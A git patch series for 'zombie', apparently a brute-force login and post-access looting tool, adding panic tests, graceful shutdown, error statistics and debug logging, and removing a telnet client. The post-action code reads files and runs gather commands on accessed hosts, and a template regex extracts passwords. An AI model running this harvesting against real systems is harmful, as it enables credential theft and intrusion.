+ Task: baseTask("ssh"), + OK: true, + } + defer func() { + if r := recover(); r != nil { + t.Errorf("PANIC on Merge(nil): %v", r) + } + }() + result.Merge(nil) + result.Merge(&pkg.ActionResult{}) + result.Merge(&pkg.ActionResult{ + Loot: map[string][]byte{"test": []byte("data")}, + }) + if len(result.Loot) != 1 { + t.Error("should have 1 loot entry") + } +} + + +// --- PostAction with valid scanner on empty data --- + +func TestPanic_PostAction_EmptyData(t *testing.T) { + dir := createPanicTestTemplate(t) + a, err := action.NewPostAction([]string{dir}, 100) + if err != nil { + t.Fatalf("NewPostAction: %v", err) + } + + session := &mockShell{files: map[string][]byte{}} + task := baseTask("ssh") + + defer func() { + if r := recover(); r != nil { + t.Errorf("PANIC on empty data: %v", r) + } + }() + + result, err := a.Run(session, task) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + t.Logf("empty data: extracteds=%d, loot=%d", len(result.Extracteds), len(result.Loot)) +} + +// --- OutputHandler nil Err --- + +func TestPanic_OutputHandler_NilErr(t *testing.T) { + // Simulate what OutputHandler does with a failed result that has nil Err + result := &pkg.Result{ + Task: baseTask("ssh"), + OK: false, + Err: nil, // this would panic on .Error() without our fix + } + + defer func() { + if r := recover(); r != nil { + t.Errorf("PANIC on nil Err formatting: %v", r) + } + }() + + errMsg := "unknown error" + if result.Err != nil { + errMsg = result.Err.Error() + } + _ = fmt.Sprintf("[%s] %s login failed, %s", result.Service, result.URI(), errMsg) +} + +// --- Mock helpers --- + +type mockShell struct { + files map[string][]byte +} + +func (m *mockShell) Service() string { return "ssh" } +func (m *mockShell) Close() error { return nil } +func (m *mockShell) Raw() interface{} { return nil } +func (m *mockShell) Exec(cmd string) ([]byte, error) { + for path, data := range m.files { + if len(cmd) > 0 && len(path) > 0 { + for i := 0; i <= len(cmd)-len(path); i++ { + if cmd[i:i+len(path)] == path { + return data, nil + } + } + } + } + return nil, fmt.Errorf("not found") +} + +func createPanicTestTemplate(t *testing.T) string { + t.Helper() + dir := t.TempDir() + os.WriteFile(filepath.Join(dir, "test.yaml"), []byte(`id: panic-test +info: + name: Panic Test + severity: info +file: + - extensions: + - all + extractors: + - type: regex + regex: + - "password\\s*=\\s*(\\S+)" + group: 1 +`), 0644) + return dir +} diff --git a/core/runner.go b/core/runner.go index d33e065..4b152e1 100644 --- a/core/runner.go +++ b/core/runner.go @@ -554,7 +554,11 @@ loop: } logs.Log.Console(result.Format(r.OutputFormat)) } else { - logs.Log.Debugf("[%s] %s %s %s ,%s login failed, %s", result.Mod.String(), result.URI(), result.Username, result.Password, result.Service, result.Err.Error()) + errMsg := "unknown error" + if result.Err != nil { + errMsg = result.Err.Error() + } + logs.Log.Debugf("[%s] %s %s %s ,%s login failed, %s", result.Mod.String(), result.URI(), result.Username, result.Password, result.Service, errMsg) } r.outlock.Done() } diff --git a/core/worker.go b/core/worker.go index e8fff54..a9a626f 100644 --- a/core/worker.go +++ b/core/worker.go @@ -20,6 +20,9 @@ func Execute(task *pkg.Task, plugins map[string]plugin.Plugin, pipeline []pkg.Ac if err != nil { return pkg.NewResult(task, err) } + if session == nil { + return pkg.NewResult(task, errors.New("plugin returned nil session")) + } defer session.Close() result := &pkg.Result{Task: task, OK: true} From f379ee4e4f9cb002d39d106d07c5327e058e0243 Mon Sep 17 00:00:00 2001 From: M09Ic Date: Fri, 12 Jun 2026 00:21:50 -0700 Subject: [PATCH 03/18] =?UTF-8?q?feat:=20improve=20stability=20and=20UX=20?= =?UTF-8?q?=E2=80=94=20graceful=20shutdown,=20error=20stats,=20debug=20log?= =?UTF-8?q?ging?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Signal handling: SIGINT/SIGTERM triggers graceful shutdown with partial stats - Pool release: defer Pool.Release() to prevent goroutine leak in SDK usage - File cleanup: close output file after run completes - Error classification: categorize errors into timeout/refused/auth/other - Unified stats: Statistor.SummaryString() consolidates total/success/extracteds/loot/errors - Debug logging: action/post.go logs partial failures at Debug level for diagnostics - Worker logging: Execute/ExecuteUnauth log action errors at Debug level - Remove dead code: delete unused telnet plugin Co-Authored-By: Claude Opus 4.6 (1M context) --- action/post.go | 19 ++ cmd/cmd.go | 9 +- core/runner.go | 19 +- core/worker.go | 7 +- pkg/statistor.go | 141 ++++++++++-- pkg/statistor_test.go | 156 +++++++++++++ plugin/telnet/lib.go | 488 ---------------------------------------- plugin/telnet/telnet.go | 48 ---- 8 files changed, 323 insertions(+), 564 deletions(-) create mode 100644 pkg/statistor_test.go delete mode 100644 plugin/telnet/lib.go delete mode 100644 plugin/telnet/telnet.go diff --git a/action/post.go b/action/post.go index f89b800..9077302 100644 --- a/action/post.go +++ b/action/post.go @@ -6,6 +6,7 @@ import ( "path/filepath" "strings" + "github.com/chainreactors/logs" "github.com/chainreactors/neutron/protocols" "github.com/chainreactors/parsers" "github.com/chainreactors/proton/proton/file" @@ -102,6 +103,9 @@ func (a *PostAction) postShell(sh pkg.ShellSession, task *pkg.Task) (*pkg.Action for _, c := range shellGatherCmds { out, err := sh.Exec(c.Cmd) if err != nil || len(out) == 0 { + if err != nil { + logs.Log.Debugf("[post] %s:%s cmd %q failed: %v", task.IP, task.Port, c.Cmd, err) + } continue } label := fmt.Sprintf("ssh:%s:%s:%s", task.IP, task.Port, c.Name) @@ -114,6 +118,9 @@ func (a *PostAction) postShell(sh pkg.ShellSession, task *pkg.Task) (*pkg.Action for _, path := range shellScanPaths { data, err := sh.Exec(fmt.Sprintf("cat '%s' 2>/dev/null | head -c 1048576", path)) if err != nil || len(data) == 0 { + if err != nil { + logs.Log.Debugf("[post] %s:%s read %s failed: %v", task.IP, task.Port, path, err) + } continue } label := fmt.Sprintf("ssh:%s:%s:%s", task.IP, task.Port, path) @@ -130,6 +137,9 @@ func (a *PostAction) postShell(sh pkg.ShellSession, task *pkg.Task) (*pkg.Action } data, err := sh.Exec(fmt.Sprintf("cat '%s' 2>/dev/null | head -c 1048576", p)) if err != nil || len(data) == 0 { + if err != nil { + logs.Log.Debugf("[post] %s:%s read %s failed: %v", task.IP, task.Port, p, err) + } continue } label := fmt.Sprintf("ssh:%s:%s:%s", task.IP, task.Port, p) @@ -181,6 +191,7 @@ func (a *PostAction) postSQL(sq pkg.SQLSession, task *pkg.Task) (*pkg.ActionResu } rows, err := sq.Query(q) if err != nil { + logs.Log.Debugf("[post] %s:%s query %s.%s.%s failed: %v", task.IP, task.Port, col.schema, col.table, col.column, err) continue } for i, row := range rows { @@ -246,6 +257,7 @@ func (a *PostAction) postKV(kv pkg.KVSession, task *pkg.Task) (*pkg.ActionResult for _, pat := range patterns { keys, err := kv.Keys(pat) if err != nil { + logs.Log.Debugf("[post] %s:%s keys %q failed: %v", task.IP, task.Port, pat, err) continue } for _, key := range keys { @@ -255,6 +267,9 @@ func (a *PostAction) postKV(kv pkg.KVSession, task *pkg.Task) (*pkg.ActionResult seen[key] = true val, err := kv.Get(key) if err != nil || len(val) == 0 { + if err != nil { + logs.Log.Debugf("[post] %s:%s get %q failed: %v", task.IP, task.Port, key, err) + } continue } label := fmt.Sprintf("kv:%s:%s:%s", task.IP, task.Port, key) @@ -270,6 +285,7 @@ func (a *PostAction) postFile(fs pkg.FileSession, task *pkg.Task) (*pkg.ActionRe entries, err := fs.List("/") if err != nil { + logs.Log.Debugf("[post] %s:%s list / failed: %v", task.IP, task.Port, err) return result, nil } if len(entries) > 0 { @@ -285,6 +301,9 @@ func (a *PostAction) postFile(fs pkg.FileSession, task *pkg.Task) (*pkg.ActionRe if strings.Contains(name, s) { data, err := fs.Read("/" + entry) if err != nil || len(data) == 0 { + if err != nil { + logs.Log.Debugf("[post] %s:%s read /%s failed: %v", task.IP, task.Port, entry, err) + } continue } label := fmt.Sprintf("file:%s:%s:/%s", task.IP, task.Port, entry) diff --git a/cmd/cmd.go b/cmd/cmd.go index 845d878..e231ea3 100644 --- a/cmd/cmd.go +++ b/cmd/cmd.go @@ -3,11 +3,14 @@ package cmd import ( "context" "fmt" - "github.com/chainreactors/zombie/core" "io" "io/ioutil" "log" "os" + "os/signal" + "syscall" + + "github.com/chainreactors/zombie/core" ) func init() { @@ -24,7 +27,9 @@ func Run(args []string, output io.Writer) int { if output == nil { output = os.Stdout } - err := core.RunWithArgs(context.Background(), args, core.RunOptions{Output: output, Version: ver}) + ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) + defer stop() + err := core.RunWithArgs(ctx, args, core.RunOptions{Output: output, Version: ver}) if err != nil { fmt.Fprintln(output, err.Error()) return 1 diff --git a/core/runner.go b/core/runner.go index 4b152e1..05af34f 100644 --- a/core/runner.go +++ b/core/runner.go @@ -238,6 +238,7 @@ func (r *Runner) RunWithContext(ctx context.Context) error { debug.PrintStack() r.wg.Done() })) + defer r.Pool.Release() ch := r.targetGenerate() switch r.Mod { @@ -255,9 +256,21 @@ func (r *Runner) RunWithContext(ctx context.Context) error { } close(r.OutputCh) + select { + case <-ctx.Done(): + if !r.Quiet { + logs.Log.Warnf("interrupted, printing partial results") + } + default: + } + if !r.Quiet { logs.Log.Importantf("%s", r.stat.TaskString()) - logs.Log.Importantf("total: %d, success: %d", r.stat.Total, r.stat.Success) + logs.Log.Importantf("%s", r.stat.SummaryString()) + } + + if r.File != nil { + r.File.Close() } select { @@ -534,9 +547,7 @@ func (r *Runner) Output(res *pkg.Result) { if r.OutFunc != nil { r.outlock.Add(1) } - if res.OK { - r.stat.Success++ - } + r.stat.RecordResult(res) r.OutputCh <- res } diff --git a/core/worker.go b/core/worker.go index a9a626f..4dbc1de 100644 --- a/core/worker.go +++ b/core/worker.go @@ -3,6 +3,7 @@ package core import ( "errors" + "github.com/chainreactors/logs" "github.com/chainreactors/zombie/pkg" "github.com/chainreactors/zombie/plugin" ) @@ -29,6 +30,7 @@ func Execute(task *pkg.Task, plugins map[string]plugin.Plugin, pipeline []pkg.Ac for _, action := range pipeline { ar, err := action.Run(session, task) if err != nil { + logs.Log.Debugf("[%s] action %s failed on %s: %v", task.Service, action.Name(), task.URI(), err) continue } result.Merge(ar) @@ -53,7 +55,10 @@ func ExecuteUnauth(task *pkg.Task, plugins map[string]plugin.Plugin, pipeline [] result := &pkg.Result{Task: task, OK: true} for _, action := range pipeline { - ar, _ := action.Run(session, task) + ar, err := action.Run(session, task) + if err != nil { + logs.Log.Debugf("[%s] action %s failed on %s: %v", task.Service, action.Name(), task.URI(), err) + } result.Merge(ar) } return result diff --git a/pkg/statistor.go b/pkg/statistor.go index 92005f8..9a2f4e8 100644 --- a/pkg/statistor.go +++ b/pkg/statistor.go @@ -1,21 +1,120 @@ -package pkg - -import ( - "fmt" - "strings" -) - -type Statistor struct { - Total int - Success int - Cur string - Tasks map[string]int -} - -func (stat *Statistor) TaskString() string { - var s strings.Builder - for k, v := range stat.Tasks { - s.WriteString(fmt.Sprintf("%s:%d ", k, v)) - } - return s.String() -} +package pkg + +import ( + "errors" + "fmt" + "strings" +) + +type ErrCategory int + +const ( + ErrCatOther ErrCategory = iota + ErrCatTimeout + ErrCatRefused + ErrCatAuth +) + +type Statistor struct { + Total int + Success int + Cur string + Tasks map[string]int + + ErrTimeout int + ErrRefused int + ErrAuth int + ErrOther int + + Extracteds int + Loot int +} + +func (stat *Statistor) RecordResult(result *Result) { + if result.OK { + stat.Success++ + stat.Extracteds += len(result.Extracteds) + stat.Loot += len(result.Loot) + } else { + stat.RecordError(result.Err) + } +} + +func (stat *Statistor) RecordError(err error) { + if err == nil { + return + } + switch ClassifyError(err) { + case ErrCatTimeout: + stat.ErrTimeout++ + case ErrCatRefused: + stat.ErrRefused++ + case ErrCatAuth: + stat.ErrAuth++ + default: + stat.ErrOther++ + } +} + +func (stat *Statistor) ErrorString() string { + total := stat.ErrTimeout + stat.ErrRefused + stat.ErrAuth + stat.ErrOther + if total == 0 { + return "" + } + return fmt.Sprintf("errors: timeout=%d, refused=%d, auth_fail=%d, other=%d", + stat.ErrTimeout, stat.ErrRefused, stat.ErrAuth, stat.ErrOther) +} + +func (stat *Statistor) SummaryString() string { + var parts []string + parts = append(parts, fmt.Sprintf("total: %d, success: %d", stat.Total, stat.Success)) + if stat.Extracteds > 0 || stat.Loot > 0 { + parts = append(parts, fmt.Sprintf("extracteds: %d, loot: %d", stat.Extracteds, stat.Loot)) + } + if errStr := stat.ErrorString(); errStr != "" { + parts = append(parts, errStr) + } + return strings.Join(parts, ", ") +} + +func (stat *Statistor) TaskString() string { + var s strings.Builder + for k, v := range stat.Tasks { + s.WriteString(fmt.Sprintf("%s:%d ", k, v)) + } + return s.String() +} + +func ClassifyError(err error) ErrCategory { + if err == nil { + return ErrCatOther + } + + var te TimeoutError + if errors.As(err, &te) { + return ErrCatTimeout + } + if errors.Is(err, ErrorWrongUserOrPwd) { + return ErrCatAuth + } + + msg := err.Error() + switch { + case strings.Contains(msg, "i/o timeout"), + strings.Contains(msg, "deadline exceeded"), + strings.Contains(msg, "context deadline exceeded"): + return ErrCatTimeout + case strings.Contains(msg, "connection refused"), + strings.Contains(msg, "connection reset"), + strings.Contains(msg, "no route to host"): + return ErrCatRefused + case strings.Contains(msg, "unable to authenticate"), + strings.Contains(msg, "Access denied"), + strings.Contains(msg, "authentication fail"), + strings.Contains(msg, "login fail"), + strings.Contains(msg, "wrong username"), + strings.Contains(msg, "invalid password"): + return ErrCatAuth + } + return ErrCatOther +} diff --git a/pkg/statistor_test.go b/pkg/statistor_test.go new file mode 100644 index 0000000..92ce862 --- /dev/null +++ b/pkg/statistor_test.go @@ -0,0 +1,156 @@ +package pkg + +import ( + "errors" + "fmt" + "net" + "testing" + + "github.com/chainreactors/parsers" +) + +func TestClassifyError_Timeout(t *testing.T) { + cases := []error{ + TimeoutError{err: errors.New("dial"), timeout: 5, service: "ssh"}, + fmt.Errorf("read tcp: i/o timeout"), + fmt.Errorf("context deadline exceeded"), + } + for _, err := range cases { + if got := ClassifyError(err); got != ErrCatTimeout { + t.Errorf("ClassifyError(%q) = %d, want ErrCatTimeout", err, got) + } + } +} + +func TestClassifyError_Refused(t *testing.T) { + cases := []error{ + fmt.Errorf("dial tcp 127.0.0.1:22: connection refused"), + fmt.Errorf("connection reset by peer"), + fmt.Errorf("connect: no route to host"), + } + for _, err := range cases { + if got := ClassifyError(err); got != ErrCatRefused { + t.Errorf("ClassifyError(%q) = %d, want ErrCatRefused", err, got) + } + } +} + +func TestClassifyError_Auth(t *testing.T) { + cases := []error{ + ErrorWrongUserOrPwd, + fmt.Errorf("ssh: unable to authenticate"), + fmt.Errorf("Access denied for user 'root'"), + fmt.Errorf("authentication failed"), + } + for _, err := range cases { + if got := ClassifyError(err); got != ErrCatAuth { + t.Errorf("ClassifyError(%q) = %d, want ErrCatAuth", err, got) + } + } +} + +func TestClassifyError_WrappedTimeout(t *testing.T) { + inner := TimeoutError{err: errors.New("dial"), timeout: 5, service: "ssh"} + wrapped := fmt.Errorf("open failed: %w", inner) + if got := ClassifyError(wrapped); got != ErrCatTimeout { + t.Errorf("ClassifyError(wrapped TimeoutError) = %d, want ErrCatTimeout", got) + } +} + +func TestClassifyError_NetOpError(t *testing.T) { + err := &net.OpError{Op: "dial", Net: "tcp", Err: fmt.Errorf("connection refused")} + if got := ClassifyError(err); got != ErrCatRefused { + t.Errorf("ClassifyError(net.OpError) = %d, want ErrCatRefused", got) + } +} + +func TestClassifyError_Other(t *testing.T) { + if got := ClassifyError(errors.New("something unexpected")); got != ErrCatOther { + t.Errorf("ClassifyError(unknown) = %d, want ErrCatOther", got) + } +} + +func TestClassifyError_Nil(t *testing.T) { + if got := ClassifyError(nil); got != ErrCatOther { + t.Errorf("ClassifyError(nil) = %d, want ErrCatOther", got) + } +} + +func TestStatistor_RecordError(t *testing.T) { + stat := &Statistor{Tasks: make(map[string]int)} + + stat.RecordError(fmt.Errorf("i/o timeout")) + stat.RecordError(fmt.Errorf("i/o timeout")) + stat.RecordError(fmt.Errorf("connection refused")) + stat.RecordError(ErrorWrongUserOrPwd) + stat.RecordError(errors.New("random")) + stat.RecordError(nil) + + if stat.ErrTimeout != 2 { + t.Errorf("ErrTimeout = %d, want 2", stat.ErrTimeout) + } + if stat.ErrRefused != 1 { + t.Errorf("ErrRefused = %d, want 1", stat.ErrRefused) + } + if stat.ErrAuth != 1 { + t.Errorf("ErrAuth = %d, want 1", stat.ErrAuth) + } + if stat.ErrOther != 1 { + t.Errorf("ErrOther = %d, want 1", stat.ErrOther) + } +} + +func TestStatistor_RecordResult(t *testing.T) { + stat := &Statistor{Tasks: make(map[string]int)} + task := &Task{ZombieResult: &parsers.ZombieResult{IP: "1.1.1.1", Port: "22", Service: "ssh"}} + + stat.RecordResult(&Result{Task: task, OK: true, Extracteds: make(parsers.Extracteds, 3), Loot: map[string][]byte{"a": {}, "b": {}}}) + stat.RecordResult(&Result{Task: task, OK: true}) + stat.RecordResult(&Result{Task: task, OK: false, Err: fmt.Errorf("connection refused")}) + + if stat.Success != 2 { + t.Errorf("Success = %d, want 2", stat.Success) + } + if stat.Extracteds != 3 { + t.Errorf("Extracteds = %d, want 3", stat.Extracteds) + } + if stat.Loot != 2 { + t.Errorf("Loot = %d, want 2", stat.Loot) + } + if stat.ErrRefused != 1 { + t.Errorf("ErrRefused = %d, want 1", stat.ErrRefused) + } +} + +func TestStatistor_ErrorString(t *testing.T) { + stat := &Statistor{Tasks: make(map[string]int)} + if s := stat.ErrorString(); s != "" { + t.Errorf("empty stat should return empty string, got %q", s) + } + + stat.ErrTimeout = 10 + stat.ErrRefused = 5 + stat.ErrAuth = 20 + stat.ErrOther = 3 + s := stat.ErrorString() + if s != "errors: timeout=10, refused=5, auth_fail=20, other=3" { + t.Errorf("unexpected ErrorString: %q", s) + } +} + +func TestStatistor_SummaryString(t *testing.T) { + stat := &Statistor{Tasks: make(map[string]int), Total: 100, Success: 3} + s := stat.SummaryString() + if s != "total: 100, success: 3" { + t.Errorf("basic summary = %q", s) + } + + stat.Extracteds = 5 + stat.Loot = 2 + stat.ErrTimeout = 10 + s = stat.SummaryString() + expect := "total: 100, success: 3, extracteds: 5, loot: 2, errors: timeout=10, refused=0, auth_fail=0, other=0" + if s != expect { + t.Errorf("full summary = %q, want %q", s, expect) + } +} diff --git a/plugin/telnet/lib.go b/plugin/telnet/lib.go deleted file mode 100644 index bd7618c..0000000 --- a/plugin/telnet/lib.go +++ /dev/null @@ -1,488 +0,0 @@ -package telnet - -import ( - "bytes" - "errors" - "net" - "regexp" - "strings" - "time" -) - -const ( - TIME_DELAY_AFTER_WRITE = 300 * time.Millisecond - - // Telnet protocol characters (don't change) - IAC = byte(255) // "Interpret As Command" - DONT = byte(254) - DO = byte(253) - WONT = byte(252) - WILL = byte(251) - SB = byte(250) // Subnegotiation Begin - SE = byte(240) // Subnegotiation End - - NULL = byte(0) - EOF = byte(236) // Document End - SUSP = byte(237) // Subnegotiation End - ABORT = byte(238) // Process Stop - REOR = byte(239) // Record End - NOP = byte(241) // No Operation - DM = byte(242) // Data Mark - BRK = byte(243) // Break - IP = byte(244) // Interrupt process - AO = byte(245) // Abort output - AYT = byte(246) // Are You There - EC = byte(247) // Erase Character - EL = byte(248) // Erase Line - GA = byte(249) // Go Ahead - - // Telnet protocol options code (don't change) - // These ones all come from arpa/telnet.h - BINARY = byte(0) // 8-bit data path - ECHO = byte(1) // echo - RCP = byte(2) // prepare to reconnect - SGA = byte(3) // suppress go ahead - NAMS = byte(4) // approximate message size - STATUS = byte(5) // give status - TM = byte(6) // timing mark - RCTE = byte(7) // remote controlled transmission and echo - NAOL = byte(8) // negotiate about output line width - NAOP = byte(9) // negotiate about output page size - NAOCRD = byte(10) // negotiate about CR disposition - NAOHTS = byte(11) // negotiate about horizontal tabstops - NAOHTD = byte(12) // negotiate about horizontal tab disposition - NAOFFD = byte(13) // negotiate about formfeed disposition - NAOVTS = byte(14) // negotiate about vertical tab stops - NAOVTD = byte(15) // negotiate about vertical tab disposition - NAOLFD = byte(16) // negotiate about output LF disposition - XASCII = byte(17) // extended ascii character set - LOGOUT = byte(18) // force logout - BM = byte(19) // byte macro - DET = byte(20) // data entry terminal - SUPDUP = byte(21) // supdup protocol - SUPDUPOUTPUT = byte(22) // supdup output - SNDLOC = byte(23) // send location - TTYPE = byte(24) // terminal type - EOR = byte(25) // end or record - TUID = byte(26) // TACACS user identification - OUTMRK = byte(27) // output marking - TTYLOC = byte(28) // terminal location number - VT3270REGIME = byte(29) // 3270 regime - X3PAD = byte(30) // X.3 PAD - NAWS = byte(31) // window size - TSPEED = byte(32) // terminal speed - LFLOW = byte(33) // remote flow control - LINEMODE = byte(34) // Linemode option - XDISPLOC = byte(35) // X Display Location - OLD_ENVIRON = byte(36) // Old - Environment variables - AUTHENTICATION = byte(37) // Authenticate - ENCRYPT = byte(38) // Encryption option - NEW_ENVIRON = byte(39) // New - Environment variables - // the following ones come from - // http://www.iana.org/assignments/telnet-options - // Unfortunately, that document does not assign identifiers - // to all of them, so we are making them up - TN3270E = byte(40) // TN3270E - XAUTH = byte(41) // XAUTH - CHARSET = byte(42) // CHARSET - RSP = byte(43) // Telnet Remote Serial Port - COM_PORT_OPTION = byte(44) // Com Port Control Option - SUPPRESS_LOCAL_ECHO = byte(45) // Telnet Suppress Local Echo - TLS = byte(46) // Telnet Start TLS - KERMIT = byte(47) // KERMIT - SEND_URL = byte(48) // SEND-URL - FORWARD_X = byte(49) // FORWARD_X - PRAGMA_LOGON = byte(138) // TELOPT PRAGMA LOGON - SSPI_LOGON = byte(139) // TELOPT SSPI LOGON - PRAGMA_HEARTBEAT = byte(140) // TELOPT PRAGMA HEARTBEAT - EXOPL = byte(255) // Extended-Options-List - NOOPT = byte(0) -) - -const ( - Closed = iota - UnauthorizedAccess - OnlyPassword - UsernameAndPassword -) - -func NewClient(addr string, username, password string, timeout time.Duration) (*Client, error) { - client := &Client{ - Addr: addr, - UserName: username, - Password: password, - Timeout: timeout, - ServerType: UsernameAndPassword, - } - err := client.Connect() - if err != nil { - return nil, err - } - return client, nil -} - -type Client struct { - conn net.Conn - Addr string - UserName string - Password string - LastResponse string - ServerType int - Timeout time.Duration -} - -func (c *Client) Connect() error { - conn, err := net.DialTimeout("tcp", c.Addr, c.Timeout) - if err != nil { - return err - } - c.conn = conn - //开启输入监听 - go func() { - for { - buf, err := c.read() - if err != nil { - if strings.Contains(err.Error(), "closed") { - break - } - if strings.Contains(err.Error(), "EOF") { - break - } - //slog.Printf(slog.WARN, "%v:%v,telnet read is err:%v,", c.IPAddr, c.Port, err) - break - } - displayBuf, commandList := c.serializationResponse(buf) - if len(commandList) > 0 { - replyBuf := c.makeReplyFromList(commandList) - c.LastResponse += string(displayBuf) - _ = c.write(replyBuf) - } else { - c.LastResponse += string(displayBuf) - } - } - }() - //等待初始化 - time.Sleep(time.Second * 3) - return nil -} - -func (c *Client) writeContext(s string) { - _ = c.write([]byte(s + "\x0d\x00")) -} - -func (c *Client) readContext() string { - defer func() { c.Clear() }() //结束时,清空输出内容 - if c.LastResponse == "" { - time.Sleep(time.Second) - } - c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x00", "") - c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x0a", "\n") - //c.LastResponse = chinese.ToUTF8(c.LastResponse) - return c.LastResponse -} - -func (c *Client) close() { - c.conn.Close() -} - -func (c *Client) serializationResponse(responseBuf []byte) (displayBuf []byte, commandList [][]byte) { - for { - index := bytes.IndexByte(responseBuf, IAC) - if index == -1 { - displayBuf = append(displayBuf, responseBuf...) - break - } - if len(responseBuf)-index < 2 { - displayBuf = append(displayBuf, responseBuf...) - break - } - //获取选项字符 - ch := responseBuf[index+1] - if ch == IAC { - //将以IAC 开头之前的字符,赋值给最终显示文字 - displayBuf = append(displayBuf, responseBuf[:index]...) - //将处理过的字符串删去 - responseBuf = responseBuf[index+1:] - continue - } - if ch == DO || ch == DONT || ch == WILL || ch == WONT { - IACBuf := responseBuf[index : index+3] - //将以IAC 开头3个字符组成的整个命令存储起来 - commandList = append(commandList, IACBuf) - //将以IAC 开头之前的字符,赋值给最终显示文字 - displayBuf = append(displayBuf, responseBuf[:index]...) - //将处理过的字符串删去 - responseBuf = responseBuf[index+3:] - continue - } - if ch == SB { - //将以IAC 开头之前的字符,赋值给最终显示文字 - displayBuf = append(displayBuf, responseBuf[:index]...) - //获取SE 结束字符位置 - seIndex := bytes.IndexByte(responseBuf, SE) - //将以IAC 开头SB至SE的子协商存储起来 - commandList = append(commandList, responseBuf[index:seIndex]) - //将处理过的字符串删去 - responseBuf = responseBuf[seIndex+1:] - continue - } - break - } - return displayBuf, commandList -} - -func (c *Client) makeReplyFromList(list [][]byte) []byte { - var reply []byte - for _, command := range list { - reply = append(reply, c.makeReply(command)...) - } - return reply -} - -func (c *Client) makeReply(command []byte) []byte { - if len(command) < 3 { - return []byte{} - } - verb := command[1] - option := command[2] - - //如果选项码为 回显(1) 或者是抑制继续进行(3) - if option == ECHO { - if verb == DO { - return []byte{IAC, WILL, option} - } - if verb == DONT { - return []byte{IAC, WONT, option} - } - if verb == WILL { - return []byte{IAC, DO, option} - } - if verb == WONT { - return []byte{IAC, DONT, option} - } - if verb == SB { - /* - * 因为启动了子标志位,命令长度扩展到了4字节, - * 取最后一个标志字节为选项码 - * 如果这个选项码字节为1(send) - * 则回发为 250(SB子选项开始) + 获取的第二个字节 + 0(is) + 255(标志位IAC) + 240(SE子选项结束) - */ - modifier := command[3] - if modifier == ECHO { - return []byte{IAC, SB, option, BINARY, IAC, SE} - } - } - } else if option == SGA { - if verb == DO { - return []byte{IAC, WILL, option} - } - if verb == DONT { - return []byte{IAC, WONT, option} - } - if verb == WILL { - return []byte{IAC, DO, option} - } - if verb == WONT { - return []byte{IAC, DONT, option} - } - if verb == SB { - /* - * 因为启动了子标志位,命令长度扩展到了4字节, - * 取最后一个标志字节为选项码 - * 如果这个选项码字节为1(send) - * 则回发为 250(SB子选项开始) + 获取的第二个字节 + 0(is) + 255(标志位IAC) + 240(SE子选项结束) - */ - modifier := command[3] - if modifier == ECHO { - return []byte{IAC, SB, option, BINARY, IAC, SE} - } - } - } else { - if verb == DO { - return []byte{IAC, WONT, option} - } - if verb == DONT { - return []byte{IAC, WONT, option} - } - if verb == WILL { - return []byte{IAC, DONT, option} - } - if verb == WONT { - return []byte{IAC, DONT, option} - } - } - return []byte{} -} - -func (c *Client) read() ([]byte, error) { - var buf [2048]byte - var n int - //_ = c.conn.SetReadDeadline(time.Now().Add(time.Second * 3)) - n, err := c.conn.Read(buf[0:]) - if err != nil { - return nil, err - } - //slog.Println(slog.DEBUG, buf[:n], "-<<<<<<<<") - return buf[:n], nil -} - -func (c *Client) write(buf []byte) error { - //slog.Println(slog.DEBUG, ">>>>>>>>>-", buf) - _ = c.conn.SetWriteDeadline(time.Now().Add(time.Second * 3)) - _, err := c.conn.Write(buf) - if err != nil { - return err - } - return nil -} - -func (c *Client) Login() error { - switch c.ServerType { - case Closed: - return errors.New("service is disabled") - case UnauthorizedAccess: - return nil - case OnlyPassword: - return c.loginForOnlyPassword() - case UsernameAndPassword: - return c.loginForUsernameAndPassword() - } - return errors.New("unknown server type") -} - -func (c *Client) makeServerType() int { - responseString := c.readContext() - response := strings.Split(responseString, "\n") - lastLine := response[len(response)-1] - lastLine = strings.ToLower(lastLine) - if strings.Contains(lastLine, "user") || strings.Contains(lastLine, "name") || strings.Contains(lastLine, "login") || strings.Contains(lastLine, "account") || strings.Contains(lastLine, "用户名") || strings.Contains(lastLine, "登录") { - //slog.Printf(slog.INFO, "%v:%v,telnet mode is : usernameAndPassword ,response is :%v", c.IPAddr, c.Port, lastLine) - return UsernameAndPassword - } - if strings.Contains(lastLine, "pass") { - //slog.Printf(slog.INFO, "%v:%v,telnet mode is : onlyPassword ,response is :%v", c.IPAddr, c.Port, lastLine) - return OnlyPassword - } - if regexp.MustCompile(`^/ #.*`).MatchString(lastLine) { - return UnauthorizedAccess - } - if regexp.MustCompile(`^<[A-Za-z0-9_]+>`).MatchString(lastLine) { - return UnauthorizedAccess - } - if regexp.MustCompile(`^#`).MatchString(lastLine) { - return UnauthorizedAccess - } - - if c.isLoginSucceed(responseString) { - return UnauthorizedAccess - } - - //slog.Printf(slog.WARN, "%v:%v,telnet mode is : unknown ,response is :%v", c.IPAddr, c.Port, lastLine) - return Closed -} - -func (c *Client) loginForOnlyPassword() error { - c.Clear() - //清空一次输出 - c.writeContext(c.Password) - time.Sleep(time.Second * 3) - - responseString := c.readContext() - if c.isLoginFailed(responseString) { - c.close() - return errors.New("login failed") - } - - if c.isLoginSucceed(responseString) { - return nil - } - - //slog.Println(slog.WARN, c.IPAddr, c.Port, "|", responseString) - c.close() - return errors.New("login failed") - -} - -func (c *Client) loginForUsernameAndPassword() error { - c.writeContext(c.UserName) - time.Sleep(time.Second * 2) - c.Clear() //清空一次输出 - c.writeContext(c.Password) - time.Sleep(time.Second * 2) - - responseString := c.readContext() - if c.isLoginFailed(responseString) { - c.close() - return errors.New("login failed") - } - if c.isLoginSucceed(responseString) { - return nil - } - //slog.Println(slog.WARN, c.IPAddr, c.Port, "|", responseString) - c.close() - return errors.New("login failed") -} - -func (c *Client) Clear() { - c.LastResponse = "" -} - -var loginFailedString = []string{ - "wrong", - "invalid", - "fail", - "incorrect", - "error", -} - -func (c *Client) isLoginFailed(responseString string) bool { - responseString = strings.ToLower(responseString) - if responseString == "" { - return true - } - for _, str := range loginFailedString { - if strings.Contains(responseString, str) { - return true - } - } - if regexp.MustCompile("(?is).*pass(word)?:$").MatchString(responseString) { - return true - } - if regexp.MustCompile("(?is).*user(name)?:$").MatchString(responseString) { - return true - } - if regexp.MustCompile("(?is).*login:$").MatchString(responseString) { - return true - } - return false -} 